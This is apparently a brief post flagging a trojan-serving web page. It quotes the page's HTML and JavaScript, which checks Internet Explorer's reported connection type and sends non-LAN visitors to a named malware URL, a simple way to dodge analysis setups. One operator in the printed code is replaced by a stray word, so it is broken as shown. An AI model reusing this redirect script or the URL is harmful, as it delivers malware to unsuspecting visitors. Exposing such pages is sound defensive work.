yup trojan going to
http://89677.www2.ninoa.com/1_.php?cust=28
<head>
<xml:namespace prefix="RS"><style type="text/css">@media all {RS\:clientcaps {behavior:url(#default#clientcaps)}}</style></xml:namespace><RS:clientcaps id="caps" />
</head>
<body>
<script>
function generic() {
}
onerror=generic;
if ( (typeof(caps.connectionType)hahahaha'undefined') ||
(caps.connectionType!='lan'))
{
document.location="http://89677.www2.ninoa.com/1_.php?cust=28";
}
</script>
</body>